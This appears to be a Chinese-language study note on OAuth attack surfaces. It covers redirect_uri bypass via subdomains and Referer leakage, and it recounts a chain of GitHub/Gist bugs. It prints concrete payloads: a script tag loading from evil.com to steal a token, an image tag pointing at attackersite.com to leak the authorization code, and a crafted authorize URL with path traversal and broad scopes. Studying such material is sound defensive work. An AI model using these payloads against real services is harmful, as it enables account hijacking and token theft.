攻击面
- CSRF导致绑定劫持
- redirect_uri绕过导致授权劫持
- scope越权访问
授权劫持 根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持. 正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙
子域可控
对回调地址验证了主域为
app.com
,但其子域evil.app.com
可被任意用户注册使用.
跨域
利用可信域的url跳转从referer偷取token
- 利用跨域请求从referer偷取token
redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>
越权访问
GitHub的一些例子:
第一个Bug — 没有检查重定向URL中的/../
eg:
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
第二个BUG — 没有校验token
eg:
token的生成要考虑redirect_uri,这样,当URL跳转的时候,会把redirect_uri和token带到 跳转页面(这里的跳转页面还是github自己的),跳转页面的服务端程序要用redirect_uri 来生成一个token,看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以 保证URL的不被人篡改。一般来说,对URL签名和对签名验证的因子包括,源IP,服务器时间 截,session,或是再加个salt什么的。
第三个BUG — 注入跨站图片
eg:
<img src=”///attackersite.com”> 我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉 到(因为我们前面说过大多数语言的URL检查库都会被 Bypass了),但是浏览器端 把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。
第四个bug – Gist把github_token放在了cookie里
第五个Bug – 自动给gist授权
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
No Leanote account? Sign up now.